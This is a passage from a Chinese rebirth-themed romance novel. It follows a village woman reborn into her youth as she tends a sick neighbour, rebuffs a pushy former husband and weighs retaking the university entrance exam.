赵晓鹤还有个问题,是个大路痴。他出门半里地能找不到回家的路,看什么地方都眼熟,看什么地方都是路,走哪条路都回不了家。
上一世,赵晓鹤到特区发展,亲眷都替他捏把汗,在特区创业失败后人回来就变成宅人。
“我考虑两天。你啊,再努力努力,实在不行,上市里的古玩街……”现在还没古玩街,“在市里寻个铺子,开家古董店。你趁现在走访乡里收一些入眼的古董。以后大家的生活条件好,吃饱饭就有精力欣赏古物,它们也就值钱了。”
赵晓鹤大笑,抓向林语晨的手顿在半空,又尴尬且克制地放下。
“语晨,你和晓琳说一块去了。不过,我也想去外面见识见识。你听过我妈骂我爸的话。现在得这些古董不能当饭吃,卖不上价,存着是放灰。”
“别气馁,以后一定会值钱。你没听过句话吗?盛世古董、乱世黄金。以后大家的日子肯定会变好。这张梨花木桌子,搁在院子里暴殄天物,有空搬进家吧。风吹日晒雨淋,别被搞花掉。”
“这是梨花木,不值钱。若是明清时期打的桌子还能入眼,我家真正的好物在仓库,完整的小叶紫檀雕玲珑桌,宋朝时期的珍品。”赵晓鹤瞧她张大嘴,情不自禁地笑了,“你喜欢的话,我打扫干净,明日就搬你家去。我妈一定答应。”
“赵叔一定不答应,你在挖他肉呢。”林语晨没点破他话里的深意,起身说,“行了,事情办好,我该回家了。你继续看书吧。”
“语晨,”赵晓鹤又喊,“考虑下,现在读书来得及。”
“好。”林语晨还真思考起读书的可能性,就是这么大年纪……
“我年纪也不大啊。什么都见识过就是没见识过大学的校园,为什么不试一次呢,又有什么好怕呢?”
临到家门口,林母平地一声雷:“臭丫头,你招惹谁不好啊,招惹他?你不知道自己多大,可以嫁人的年纪,做事这么不知轻重。”
多大?嫁人的年纪!
林语晨升起的读书欲望又落回去:“妈,你说谁啊,不会是楚邵吧?他自己上抢着帮忙,我推不了。你放心,我看上狗都不会看上他。”
“怎么说话呢,什么叫看上狗?你要看上狗还是看上他吧,好歹是个人。你没招惹他,人家能上门喊我妈吗?”
“什么?”林语晨被气到无语,“无赖,我找他讲理去。”
“别。”林兰香一把拉住女儿,“我听赵小翠说你和他在田埂上闹,你把人推水渠里去。若不是人家有归路过,都不知道闹出什么闲话。你和他究竟是怎么回事?”
“我和他……”林语晨差点指天发誓,压住舌口,慢慢道,“他想追我。我没答应。”
林兰香听到要听的话,松开女儿的手:“找对象的事……妈不拦着你。但是,你要考虑清楚,睁大眼睛看仔细啰。他家两兄弟,一间房,妈又不顶事,嫁过去都是活。你受得住吗?”
上一世,林语晨没把这些话当回事,真领证后没几天就受不住,灰落落地跑回娘家,也真切体会到亲妈这番话最深的顾虑。
即使不在楚家干活,一家四个女人早晚碰面,全是戏。
楚邵的嫂嫂,小姑妹妹,加上他妈。婆婆和大媳妇能拌嘴,大媳妇和小姑子能看不顺眼,小儿媳不明白婆婆为什么这么多事……结婚,真正不是两个人的事,而是两个家庭
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的事。
若一方不够强,就得受着另一家的规矩。
因为楚邵家这种情况,造纸厂稳定后林语晨依旧在外面拼命赚钱。她告诉别人:嫁人不是投胎,靠得是自己的本事。
可惜,社会如此。
林语晨发达后回村,人家说得还是林语晨的眼光好,会嫁人,挑中了楚邵这样能干的男人……呵,可笑。
“妈,你放心,我嫁给赵有归这样不回家的军人,都不会嫁给楚邵这种粉头油面的奸人。我帮你去洗衣服。”
“你……怎么说话呢?”林兰香听傻眼了,哑口喊,“还‘奸’……呸呸……”
她眨巴眼,目送女儿端盆出门,在院子里从东走到西,“这孩子……不会是看上赵有归吧?不中啊,有归常年驻军,你不得受我当年的苦啊。傻孩子啊……”
晚间,林爸回到家,接过林兰香留得饭,呱唧呱唧吃起来。
林兰香看他饿得很,很是心疼:“沈嫂子怎么样,有归没回来留在卫生室啦?”
“嗯,他在医院守着呢。沈嫂子啊,医生说送得及时,得住院把炎症压下去,过几天再回来。”林爸边吃边看里屋,“晨晨呢,这么早睡了?”
“你这女儿大白天闹的事啊,真是吓出我一头汗。”林兰香见丈夫一脸没所谓地继续吃饭,也不唱独角戏,“吃完饭,洗洗睡吧。”
“等等,有个事得找你商量。”林爸咽下饭,“明日,有归要进市里办点事,白天医院没人照顾沈大嫂,我觉得这不合适。怎么说都要送佛送到西……”
林兰香直接瞪过去:“你和你女儿一个德性,什么叫送佛送西,我还唱大戏呢。我懂了,明早上卫生室看顾沈嫂子,是吧?”
林爸嘿嘿一笑,点头说:“咱们香香就是懂事,哈哈……”
林兰香白眼送他:“那……地里的活……”
“有我和晨晨呢,你放心,都给你收拾妥。”林爸边笑边扒拉饭。
林兰香哼他:“说得好像你给我干活一样。你舍得让你大闺女下地?得了吧。”
墙西头偷听的林语晨高声道:“爸,明天我去医院吧,让妈做了饭,我带去。正好,我也没啥事。”
林兰香与林爸对视眼,驽下嘴,轻声说:“今天晨晨说,她看上赵有归都不会看上别人。”
“她真这么说?”林爸的饭不香了,捧碗起身,“晨晨看上有归那小子?”
林兰香一时分辨不出丈夫到底是期待还是反对,又怕丈夫大半夜说女儿,直接:“去去……她随口说说,这不都是隔壁村叫楚邵的小子惹得事。”
偷听的林语晨没听清两夫妻说什么,再次问:“爸,行不行啊?不然,我过来说?”
林兰香阻止丈夫喊女儿过来,直接道:“行了,明天你早点起来,带上吃用去卫生室。”又拍了下好奇心大盛的林爸,让他别再说这事。
林语晨得了准信,知道爸妈累了一天,没再打扰。
5. 紧张感
翌日,林语晨拿上竹篮子,装了一铝盒的食物,趁朦胧的天色上镇。
女儿临走前,林兰香对她叮嘱了又叮嘱,还骂丈夫躲懒,这个点都不起床送送人。
林语晨安慰母亲:“昨天爸推车送沈婶婶去镇上,又那么晚回来,定是累坏了,让他多休息会吧。妈,没事,你放心,我走了。”
人走出村不久,传来拖拉机“啪啪啪”的声响。
这种拖拉机的声音,在很远处就能听见。
拖拉机在林语晨的旁边停下,赵三叔探出车窗:“晨晨啊,你妈让我稍你一段。刚好,琳琳也去卫生室,你们同路。”
后车斗里的赵晓琳站起身,打招呼:“语晨姐,快上车。婶婶给我递了小板凳让你坐呢。”
“好嘞,谢谢赵三叔。”赵三叔是赵晓琳的三叔,名唤赵松海。
林语晨把篮子递给赵晓琳,踩着轮胎爬进拖拉机的车斗。
斗里有一张竹椅和小板凳,刚好两人坐。
车斗上,伴随拖拉机的轰隆声,林语晨和赵晓琳兴致不减地聊起天。
原来,周六是赵晓琳当医生的小姑值班。赵晓琳学医的梦想源自于她小姑的启蒙。
赵晓琳趁小姑值班的日子去镇卫生院帮忙,顺便接受小姑的私教。
赵晓琳扎两条麻花辫,穿件纯白的衬衫、青布裤,五官单看柔和,合在一起后有几分犀利,比她哥赵晓鹤看起来厉害得多。
人是实打实的聪明,且爱学习,有智慧。
日后,赵晓琳做省二院的副院长,更是成熟威严。她用事实证明努力可以获得回报。
此时的赵晓琳还是个邻家小妹妹。
林语晨看她手边的靛青帆布包,包上摆着主席的《诗选文集》,打趣说:“天也没大亮,这么吵的拖拉机,一颠一颠的晃人,你还看得进书?”
“看不进啊。所以,我现在可以看语晨姐。语晨姐,你真好看。我读书看到‘红颜祸水’四个字,一直不明白女人究竟要美成什么样才能成为那么大的祸水,让男人倾国倾城。今个早上,我哥大清早和我爸吵,说是要把家里传下来的小叶紫檀木的玲珑小桌子送你读书用。
那个瞬间,我就突然明白这四字的份量。”赵晓琳拿起书挡在唇边,一本正经地说完后爽朗地大笑。
“……”林语晨无语地看着赵晓琳,不免红了脸。
赵家两兄妹的毛病:一个路痴,一个说话直。
赵晓琳是那种说话没恶意,伤害性却很大的性子。但是,人家小姑娘也是有真本事。
林语晨尬笑:“赵晓鹤胡说,我看什么书啊,认识几个字会算点账就够用。”
前世得这点学业还真不大够用。创业之初,须得跑各地办事,吃了不少没文化的亏。后来,有钱雇人才解决这些麻烦。年轻女孩有文化有内涵才真正吸引人呢。
“不是啊,我认为哥说得有道理。语晨姐,你和我一起考大学吧。”赵晓琳挪凳子靠近,“昨晚我哥来求我,请我给你准备书录和笔记呢。”
“他这……太虎了吧?”林语晨被赵晓鹤的行动力震到。
“开始时我也觉得他是一时兴起。后来,他把珍藏的笔洗送给我。我就答应帮忙。今天,我看到语晨姐,觉得哥的主意挺好。红颜薄命都是女子没本事害得。你若有本事就能保护自己的美貌。读书,学本事,保护自己!”
而且,说不定我能替哥挣个大嫂回来。与有学问的大嫂商量,比同个榆木疙瘩的哥废话好啊。
赵晓琳想象那画面,越发觉得这主意好。
她一把抓住林语晨的手,热切说:“语晨姐,回头你来家里,我把书给你准备好。”
林语晨“嗯啊”了声,深深地感受到赵晓琳的“先进。”
只是,她没想好到底要不要考大学。林兰香得一句“嫁人的年纪”就把她得一时兴起给挫败回心底。
拖拉机又在路边停下。邻村的人同赵三叔打声招呼后一一上车斗。村里进镇多少有些远,不是人人都有自行车,能蹭上拖拉机都舍不得放过。
进灵水镇后,人群就散了,各忙各事。
赵晓鹤和林语晨一起进卫生院,阳光照在院里的大雪松上,像是覆了一层橙衣裳。住院处的玻璃口,往里瞧进去,可以看到铺着蓝白条床单和被褥的病床,以及靠坐着的病人。
赵晓琳熟悉这,拉了林语晨进大厅:“我还没问呢,语晨姐是来看谁啊?你家有人生病吗?”
这时,赵有归端着脸盆、挂着毛巾走来,看到两人,硬汉露了笑,喊了声:“你来了。林阿姨没来吗?”
“有归哥,我手上没力气,请缨上阵照顾病人在行,家里的农活干不了多少。对了,这是……”林语晨想要介绍旁边的赵晓琳,却发现赵晓琳松开手后立在原地不动,而眼神发定地看着赵有归。
作为过来人,林语晨一下明白赵晓琳这种一眼定情的情况,赶紧拉她一把,想继续做介绍。
赵晓琳已经先一步喊:“有归哥,你是有归哥。你什么时候回来?”
“赵大叔家的晓琳。”赵有归笑着点头,“昨天才回来。”
“你回来怎么不在村里走动?卫生院……沈阿姨病了?”赵晓琳一下猜到情况,露出担忧、懊恼的神色。
林语晨的目光穿过赵晓琳和赵有归对上,提了下手里的篮子,示意过后先进病房。
赵晓琳站在赵有归面前,面上渗着薄红,似乎已经忘记来卫生院的正事。
沈秋霞靠坐着床头,见到林语晨后笑喊:“晨晨来了,我这病……给你家添麻烦了。”
“婶婶,我爸说了,他和赵叔是老交情。我妈没来,是我抢了她的活,你别嫌弃我笨手笨脚,照顾不好你啊。”林语晨说着取出铝盒,摸了下还热乎,赶紧递过去,“快趁热吃。”
沈秋霞接过饭盒,面上满是不好意思。
“昨日多亏你爸。你爸说是你提醒他打电话,医生也说若晚点来……我才是那个会害了有归一辈子的人……”
林语晨赶紧握住沈秋霞颤抖的手,取了兜里的靛青手帕给她擦眼泪:“婶婶别这样说,现在有归哥回来,你也
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治疗了,一切都会好起来。吃吧。”
沈秋霞把盒子放在被褥上,没挂过水的手拿起勺子吃。
林语晨刚要上手帮忙喂饭,赵晓琳已经快步入内,越过她拿起盒子:“沈阿姨,你病了怎么不同我说啊。若是我知道你病了,我……”她坐在床沿,刮了一勺粥喂沈秋霞,“吃吧。现在开始,我照顾你,照顾到你出院。”
沈秋霞笑起来,先看眼站在门口的赵有归,说:“你不是有事要去办,先去忙吧。这里有琳琳和晨晨在,我没事。”
赵有归面对转来得三张脸,突然有种奇妙的紧张感。
“那……我先走了。”
林语晨弯身拿过铝盒,朝看楞的赵晓琳使眼色。
赵晓琳立马明白她的意思,起身说:“有归哥,我送送你。”回头给林语晨感激的眼神,追着赵有归出去。
沈秋霞看着林语晨,吃了口粥,含糊地笑了下。她咽下后慢慢说:“晓琳她……你看出来了?”
“嗯。”林语晨莞尔,又喂她,“瞎子都看出来了。没想到她这么小就喜欢有归哥。”
“小时候吧,琳琳去山里玩迷了路,有归带她回家。这孩子就一直记着有归的好。
有归当兵几年不回,她还老往我这跑,小孩子心性不定,还什么都不懂呢。
近来,琳琳要考试就没怎么来家。”沈秋霞说完,见林语晨的神色没变,垂敛眼里的光,“我知道有归的心思,他一直当琳琳是妹妹。”
“婶子,先吃饭。”林语晨懂了她最后的话意,但她并不在意赵有归喜欢谁,或者赵晓琳喜欢谁。
这一世,对于感情,林语晨看得很淡。
进过坟墓,感受过生不如死,谁又会再进去一次呢?
沈秋霞也明白林语晨的心眼高,吞了口粥,又说:“我不是替有归说话。他的心眼实在,认定的事不会反悔。这次,他退伍回来去市里当警察,我想反对也没法说……咳咳……他已经直接办了手续。”
“啊?”送人回来的赵晓琳直接惊呼出声,奔来说,“沈阿姨,真得吗?有归哥不归队啦?”眼神里的雀跃藏都藏不住,笑容更是直接绽了出来。
林语晨的“啊”声轻落,手里的饭盒子被晓琳拿走。她往后退了一步,让出喂饭的位置。
前世没这一出!不对,前世也没有沈秋霞入院治疗的事。
赵晓琳当二院副院长时还是单身来着,被称为二院的铁人院长。这是林语晨住院时候听护士说起,那时候赵晓琳已经是快四十岁的人。
她看着赵晓琳后脑的马尾辫,不由笑了:这个女孩不仅聪明、读书好,能干,竟然长情专一。她和赵有归天生得一对啊。
可是,赵有归退伍回来后又为什么没娶她?应该没娶吧!不然,林爸不会说赵有归这么大年纪还是孤身一人的话。
沈秋霞吃着赵晓琳喂的饭,慢慢地答着她问的问题。
原来赵有归这次回来还拿了部队给的转职介绍信,准备进市里的刑侦大队当警员。
今天他上市里办得就是这事。
6. 夫妻乐
午饭时,赵晓琳拉着林语晨同她小姑一起吃食堂饭。赵晓琳刚吃两口就端着碗、重新打一盘饭菜端去病房。不用说,她是去照顾沈秋霞。
赵小姑名唤赵莓莓。
她看了眼吃饭的林语晨,温声说:“女大不中留。从小就喜欢赵有归,傻傻地分不清感激和爱情。这个年纪知道什么是喜欢,什么是共度一生啊。”
林语晨咽下饭菜,笑应:“我觉得她挺明白。有归哥的工作落实,晓琳考上大学,几年后毕业出来工作。警察、医生,一起为人民服务。女才男貌,正好合适呢。”
“哈哈哈……”赵莓莓大笑,“几个村都夸你长得好,原来你不仅长得好,眼睛也明亮。”
林语晨尬笑了声,若非重生,这么年轻还真听不能懂赵莓莓几句话里的深意。她是在为赵晓琳探路呢。
“莓莓姑姑,我吃完了。晓琳在这,我也……没什么事,就先回去。”
赵莓莓想了下就点头:“行。那孩子倔得很,我让她这会帮我的忙肯定不乐意,一心照顾人家妈。你先回去吧。不过,你怎么回去……”
“走回去就行。若有拖拉机,我就蹭个拖拉机。”林语晨放回餐盘,去病房跟沈秋霞说了声。
沈秋霞听后,先看向赵晓琳:“琳琳,考试是大事,要不……”
“沈阿姨,我可答应有归哥,必须照顾到你出院。我学习好,考试就不是个难事。”赵晓琳又朝收拾铝盒的林语晨说,“语晨姐,让兰香阿姨放心吧。这有我照顾,你们就不用操心。有归哥回来了,一切有他。”
“……好,那就靠你了。婶婶,我先走了。”林语晨不是不知趣的人,提着篮子,装着铝盒,头也不回地走了。
沈秋霞忍不住叹了声,对上面含好奇的赵晓琳,一时有些说不出的歉疚:等有归回来再说吧。
灵水镇的大街上,林语晨新奇地看着周边街景,重生六天,现在才上镇。
镇里的房子都是两层或三层的红砖瓦房,比农村的泥草瓦房好太多。
林林总总的店铺也多,黑色帮白色底的布鞋、橡胶鞋、红红绿绿的衣衫鞋袜店,刀具锅铲、补鞋、补伞是一家店,各式尼龙袋装的手工食品、炒货,尽头是镇上唯一的百货店。从门口一眼望进去,老式家电和劳保用品分柜陈设,店员拿着抹布东擦擦西擦擦地搞卫生。
“幸好,过了拿票子换用品的日子。”林语晨感叹了句,私营户正在兴起,百货店坚持不了两年很快就会关门。
毕竟,店里的东西贵,而且很快会跟不上日新月异的时代。另外,别看服务员勤劳,若真去买东西,老百姓挑来捡去舍不得出钱下手,反会惹人厌烦。在他们的眼里,服务员的态度算不得友好。而私营户为自己赚钱,反倒对客人会客气很多,当然也少不了狗眼看人低的店主。
林语晨站在水泥路的大街上,环顾道路前后,人来人往、各自匆匆,透过外表看底下,百业待兴,处处是商机。
“而我却对钱没了兴趣,真是讽刺!”
“晨晨,你怎么在这?”楚邵捏着油炸馒头跑过来,见林语晨掉头就走,追上去,“给你,放了你爱吃的臭豆腐,香着呢。现在我干完活,就好这一口。”
林语晨绕开他的手,继续走。楚邵在重生前大鱼大肉吃了不少,回过头就喜欢清粥小菜油炸馒头……以及跑来吃回头草。
楚邵横手一拦,直接把馒头送她嘴边,害得林语晨差点撞上去。
“你有病吧?”林语晨恼火。
楚邵咧嘴,油滑说:“有,一种只有你才能治好的病,知道是什么病吗?”快说相思病。
“神经病。”林语晨继续走,又被楚邵跟着。
“晨晨,你怎么变得不可爱了?你怕别人看到你这个大美女吃臭豆腐?没事,那边有条小路,我们去那里吃,保证没人看到你吃臭豆腐。走……”楚邵说着就动手拉林语晨。
“放手,疼啊……”林语晨强不过他,他那爪子抓在手臂上简直像铁一样,“放手,你弄疼我了。我喊人了……”
“好好好!”楚邵的面色也沉了三分,依旧固执得把馒头递过去,“你吃了它,我不拦你路。”
“呵,这年头还有逼人吃东西的事?楚邵,再过去就是警局。不然,我们进去说道说道?”
楚邵忍了又忍,还是气不过,直接砸了馒头。
前世他是被警察通缉,追着出车祸、丧了命,同警察生来有仇。
他阴沉着面色:“林语晨,别动不动就报警、警察什么。老子告诉你,老子喜欢你,你跑不了。不说了,我还得去给林裕宝开车。对了,晚上我去找你,你陪我去找赵晓鹤。他就听你的话。”
“凭什么?”林语晨看他说完就走,想追上去,一脚踩在馒头上,软乎乎还冒着油,布鞋直接毁了。
一股怒火冲上心口,气得她想拿刀宰了他。
“凭老子喜欢你林语晨!记住了。我犯得是相思病。”楚邵说完得意极了,不顾行人观望、指点的神色,快速向路尽头的货车跑去。
林语晨怒过后想哭,这块牛皮癣是揭不掉吗?
她拿布鞋在路边的草丛里蹭了蹭,回头对上一只伸着鲜红舌头的黑色大狗。
大狗朝她汪汪地叫了两声,见林语晨不动,叼起碎烂的馒头后跑走。
林语晨无语,冷汗退去,仰天看了一会。天高云白,世界真实存在。楚邵这贱人还好好得活着呢。
“行,既然你非得招惹我,我就扒了你的衣裤,脱你一层皮。这回,我连你的骨血一起吸干。混蛋!臭流氓!贱人楚邵!”
骂骂咧咧的林语晨穿过这条巷子,走上回村里的小路。
林兰香干完活正在院子里小憩,见女儿垂头丧气地回来,赶紧问:“这是怎么了,谁欺负你,赵有归?”
“肯定不是有归。”林爸从屋子里出来,“有归上市里报道呢。他怎么可能欺负晨晨。晨晨,是不是你妈说得,昨天来找你交往的臭小子?爸找他去。”
林语晨的脸色从丧到扭曲,舌头都要打结:“妈,你跟爸都说了什么呀?没有。我只是……一路走回来,走了将近一个小时,累了嘛。”
“哦,那没事,进屋歇着去。”林兰香马上应了。
林爸嗯了声:“不对啊。你回来了,沈大嫂咋办啊,你这孩子怎么不懂事呢?你把病人一个人留在那?”<
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p>“瞎说什么呀。晨晨是这种人吗?”林兰香坚决维护女儿,追在林语晨身后进了屋。
林语晨放下篮子,转身朝两人解释:“琳琳和我一起去卫生院,她和沈婶婶要好,有归哥也拜托她照顾婶婶呢。这事在我们家就过去了。”
“什么过去不过去。人是你爸我送进医院,定是要看着她好转回家。琳琳……赵松华家那个读书好的小丫头?”
林兰香知道点林父不知道的事,点头应了。
“行。妈知道怎么回事,你去休息吧。灶上的汤罐里有热水,你去泡泡脚。”她拉了把还要追究的丈夫,“好了。这事听语晨,沈嫂子的事在我们家过去了。”
“不是……”林爸还要说,被林兰香拧了把,立时住嘴。一会后,他又轻声念叨,“香香,你说有归这次回市里当警察,这是好事吧。你担心的情况也不会发生,他和咱们家晨晨挺合适,男才女貌。你看这事……”
林兰香扔掉手里摘的豌豆,瞪向林爸:“你知道赵晓琳喜欢有归的事吗?”
“啊?”林爸一脸震惊,“有这事?那丫头不是才十……几岁嘛?”
“你女儿也才十九啊,过年二十呢。村里人都知道这事,就赵有归他自己不知道。”
林爸愕然:“他都没回过家咋知道啊?”
“是啊。沈秋霞也没拦着啊。所以啊,晨晨说,他家的事在咱家过去了,那就过去了。你听不懂吗?”
“懂……是懂了。”林爸缩了下肩头,偷偷睨了眼用力摘豆子的妻子,摩挲下巴,“这事还得有归说了算吧。”
“哼。臭老林,别以为我不知道你想什么。”林兰香一边扔豆子一边说,“隔壁村那小子确实不是个好选择。赵有归就是好选择?他妈那样的身体,家里也是那样……以后待在警局还能常回家干活啊?田里的活你去帮他家做啊?”
“你啊就是想多了。有归是男人,不会苦着晨晨。”
林语晨真是听够了。两人就在院子里的窗户下聊天,说的话全传进屋。
她汲着拖鞋下地,走到门口:“爸妈,我不嫁人,非得在法定年龄嫁人啊?没这条法律吧?我决定复读,参加高考,就这么说定了。爸,你去村委找人给我打申请!”
林兰香手里的豆子掉进簸箕。林爸也觉得听错了,愕然问:“你再说一遍,复读高考?”
这么一句反问,林语晨冲上来的勇气又缩回去。
“我……随便说说,反正我不嫁人。哪条法律规定必须在法定年龄嫁人啊?”
“你爸奉公守法惯了,脑子都守出毛病。”林兰香直接拿豆子砸林爸。
林爸啊哟了声,跳起来:“晨晨,读书是好事。别听你妈胡说,去读书,想读书一定得读书。”
林兰香嘿了下,嚷嚷:“林大宝,你给我说清楚,我有说读书不好吗?我不支持她读书吗?谁撺掇着总想把林语晨嫁人啊,还嫁给自己兄弟的儿子,谁啊……”
林语晨看着林爸被林兰香追着打,忍不住又笑起来,就靠着门看热闹。
多好啊!女儿结婚前的爸妈又回来了,不再是守着大房子里喊农村好、女婿是个混蛋得那对苦大仇深的老夫妻了。
7. 烧火棍
“林叔,林姨……”赵有归一进院就看到这番夫妻打闹的场面,一时不知道该不该进。
眼神落在房门口消失的碎花衬衫,应该是林语晨回了房间。
这个瞬间,赵有归的心里生了丝期盼。期盼什么?他心里很明白。
从小到大,赵有归家就没有完整过。赵父当兵回来,伤得比林大宝还重,没过两年,赵父就送赵有归入伍。
等赵有归在部队有出息,赵父又劳累过重过世。赵家有亲情,却又好似不多。
林家得这份热闹,赵有归自家是从来没真切感受过,难能可贵得家人齐全的两年也是在母亲的抽泣声里渡过。
当遗憾成了习惯,缺失得那些东西也已经习以为常。时间久了,人就变得麻木。
然而,赵有归的内心深处深切地明白:这样不对。
林兰香瞪眼林爸,客气地招呼:“有归啊,从市里回来啦,你妈咋样呢?”
“她挺好。赵医生帮忙照顾她,让我先送赵晓琳回家。我来看看……林叔,谢谢他。”赵有归听说林语晨中午一个人回村,特意过来确认下她到家没,人在家就好。
林兰香戳了林父一下,让他招呼赵有归:“我去做饭。你别冷待了人家有归。”
威胁丈夫的眼神明晃晃地说着:林大宝,别嘴上不把门,什么话都乱说,损了你女儿的名声!
林父意会了下,眯眼笑着点头。
待林兰香走开,他一脸轻松得朝赵有归说:“这女人啊,家里没有,冷情;有了吧,让人又乐又觉得多事。我家还两个,一大一小都要管着我。
你来了好啊。今晚,咱们叔侄喝一个,有你在,她们不管我喝多少。”
赵有归体会不到他的快乐,羡慕他的乐和事多,陪着笑:“好,叔。”
“爽快。我就喜欢你家这性子。”林爸乐呵,没提赵有归的父亲赵军红,怕勾起他的伤心事。
林语晨睡不住,穿了衣衫出来帮林妈做饭。
院子里的两男人坐一块聊着天,说着部队里的生活和训练。
林爸听后感叹:“你们现在当兵比我们那会条件好太多。我们那会上南面战场,扛得还是56的半自动步/枪,56式的冲锋/枪可不多。你小子现在摸得都是我们那时候的稀罕货,有些还根本没听过。
唉,可惜,你转职了。我想劝你回队,你妈这情况也不好说。
以你现在的能耐,你爹留下的根基,若是继续在队里好好干,一定有机会出人头地,为你爹争脸。”
赵有归沉默地笑着,一时应不上这话。
林爸知道他的心,当过兵的人永远忘不了那份战友情,持枪而立为守护信念而战,那份从心底而生的热血、自豪和激情。
只是,赵有归家的情况,容不得他多犹豫。
“这大后方嘛,当警察,也是为人民服务。”
林兰香忍不住了,拿铲子站在灶房门口喊:“有归,别听你叔瞎叨叨。他在家犁地犁傻了。你姨没读过书,也知道保家卫国不止在前线,大后方也一样为国家做贡献。要我说,你回来得好。你妈就你一个孩子,你爸已经……”
“妈,铲子啊,菜糊了。”林语晨打断林妈的话。
林兰香哎了声,朝外面两男说最后一句:“当过兵,不后悔。回了家,照顾亲妈,一样不后悔。”
林爸看妻子转回去做饭,朝赵有归使眼色:“别听你姨瞎说,有机会还是回队里好。我听说南面近来不安分,说不定要开战,这不就是你立功的大好机会吗?”
赵有归默默地点头,不久后是一场战争。在那场战争里,他将晋升成营长。之后一干多年,再后来……目光落在端菜上桌的林语晨身上,不由垂头笑了。
他靠近了些林大宝,轻声却诚挚有力地说:“林叔,我知道自己在做什么。其实,林叔打电话来前我就在琢磨转职的事,接了你的电话后更让我下决心。”又大声说,“按林姨的说法,为人民服务,哪行哪业都可以。”
林兰香倒掉刷锅水,应了句:“没错。别听你林叔,他就馋了以前在部队的大锅饭。”
“去去去……谁馋了,部队的红烧肉不好吃吗?”林爸直接给赵有归一肘拳。
赵有归虚挡了下,立马应话:“好吃。”忍不住咧了嘴,露出比脸还白的大牙。
这刻,他感觉自己融入这个温馨的家。
“是吧,哈哈哈……”林爸大笑,起身说,“走,菜上桌,咱们叔侄喝一个。”
林语晨布置好碗筷,见两人进来,拿了玻璃瓶装的烧酒:“少喝点。入梅前天气多变,别把你的老寒腿喝出来。”
“瞧瞧,我还没喝,她就管上了。女儿啊,你这就不懂了,喝酒暖身,老寒腿才不会发作。”林爸反驳着,拉着赵有归坐下。
赵有归拿了烧酒瓶,在林语晨的注视下给林爸倒半浅碗酒。他刚扫见的眼睛比星星还亮,黑漆漆里点着灯,让他不敢多倒酒。
林爸不乐意:“少了少了,再倒点。这才一两半酒。”
赵有归又添几滴,见林语晨出去才给他倒足三两酒:“林叔,够了。晚上,我还得回镇上。我在市里请了两天假,拿来陪我妈。”
林爸想着也是,即使赵有归退伍转业,工作还得做,妈还得照顾好。
“唉,听你说这个,我就觉得可惜。行吧,改日你妈出院,来叔家,咱们再喝过。干。”
赵有归与他碰杯,喝聊上了。
厨房里,林兰香把菜盘子递给林语晨:“快点端去。”
林语晨噘着嘴不太乐意:“为什么男人不等我们做完饭一起吃,非得自己先吃喝?恶习!”
“你这孩子怎么跟这种事较上劲。有归是客人,待客之道。”
“恶习!”林语晨一个人搬不赢这恶习,拉张脸送菜进客厅。
林爸确实是好父亲,但是,他也是很传统的男人。后来,他这股子恶习也教会楚邵,气人得很。
赵有归看着桌上红红绿绿的四盘菜,见林语晨放下盘后出去,赶紧说:“语晨,让林姨别烧菜了,已经够吃了。你和林姨快来吃饭吧。”
林语晨的脸色好看几分,不管林父“随她们去”的话,直接对外喊:“妈,爸说菜够了,快来吃饭!”
林爸瞪眼:“让你妈再炒一个下酒菜,炒花生米。你妈炒的花生米贼香,贼下酒。”
“贼可不下酒。”林语晨驳回去,暗哼了声。
林兰香的声音从灶间传来:“好。姨炒个花生米就来。”
林语晨对上林爸得意的脸,也笑回去:“我妈是给有归哥面子,她可不是宠你。”
“你妈宠我,我也宠她。咱们不宠你啊?”林爸见女儿走了,忍不住笑出声,朝笑而不语的赵有归说,“这孩子……别管她,被我和她妈宠坏了。现在年纪到了,不知道会便宜谁家的小子。
今天,她还说不嫁人,要复读高考,吓得我直接跳起来。”
赵有归的脑海里滑过楚邵,心里一紧,闻言微微一愣又一松,紧跟说:“现在开放高考,对于语晨来说是个机会。”
“我看她就是不想结婚,趁机找个理由搪塞。若我去村委打申请,她一定打退堂鼓。”林爸拿起杯子,“来,干。”
赵有归随他喝了个。
晚饭的后程,林语晨刚吃好,院外传来布谷鸟的叫声。
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>这个月份还没到布谷鸟叫,而且模仿鸟叫的腔调让人有些熟悉。上一世的楚邵追林语晨时就是用这个暗号。
“这鸟叫得挺早,差不多也是在这个时候。”林爸落了句,要倒酒被赵有归阻止。
“林叔,够了。一会天太黑不好走路。”赵有归看着一大一小两女人的眼神,知觉地阻止林爸继续喝酒。
林语晨收碗筷进厨房,看到院门口探头探脑的猥琐身影,心知楚邵这人脸皮厚,一会可能直接闯进门。家里还有客人,别被这个二愣子闹大事给人瞧了说出去。
她朝屋里喊句:“妈,我去晓鹤家借书。”
“早点回来。”林兰香应完朝林爸问,“盛饭吗?”
“来一碗。”林爸递碗过去。
赵有归赶紧起身接过碗,再拿起自己的碗:“林姨,我来吧。我要去盛饭。”说完,立马端碗出堂屋,正好见两道身影消失在院口。
“有归懂事。”林爸高兴得很,被林兰香瞪了眼,“哎,那鸟不是只在早上叫吗?这是犯糊涂了?”
林兰香哼他:“聪明的时候笨,该笨的时候非得聪明。”
“你这话……”林爸委屈,接过赵有归递来的饭碗,瞪着妻子,挖了一大口饭,含糊说,“有归吃饭。”
“好。”赵有归含蓄地笑着,快速吃起来。
村里的树荫下,林语晨一把推开扑上来的楚邵,拿烧火棍拦在两人中间:“我警告你,别再动手动脚。”
“晨晨,我们……”楚邵见她一副警惕的模样,无奈地泄口气,“好吧好吧,我太急了,还不是咱两太熟悉。我向你保证,你不同意,我就不碰你,好吗?”
他有气无力,背过身去念了句话出气,“谁以后为生孩子,穿比基尼勾引人呢。”
林语晨听到这话,捏紧烧火棍。不堪的婚姻生活像是飘着臭气的恶水沟,被这个始作俑者兜头浇了一身,气得人浑身发抖。
“哎呀,”楚邵挨了一棍,转见林语晨放下棍子,不解问,“嘶,你打我干吗?”
林语晨被夜风一吹,冷静了些。
“你背对我嘀咕什么,说我坏话呢?我告诉你,我眼里容不得沙子,骂我都不行。”
楚邵嘿了声,甩了下打疼的肩头:“你先放下棍子。我知道你的脾气。放心,你和我交往是强强联手。你有脑子,我有……经验,咱们一定能把厂子拉起来。到时候,你主持厂里的事,我跑外头拉生意,等有了钱,咱们就进城买房子,以后一定在港区给你买别墅,哪还有什么李啊马啊的事。”
“呵?”林语晨直接拿棍子捅他,迫得楚邵一直往后退,“说得什么乱七八糟,听也听不懂,你就是有神经病吧。你快走啊,我不跟脑子拎不清的臭流氓合作,滚。”
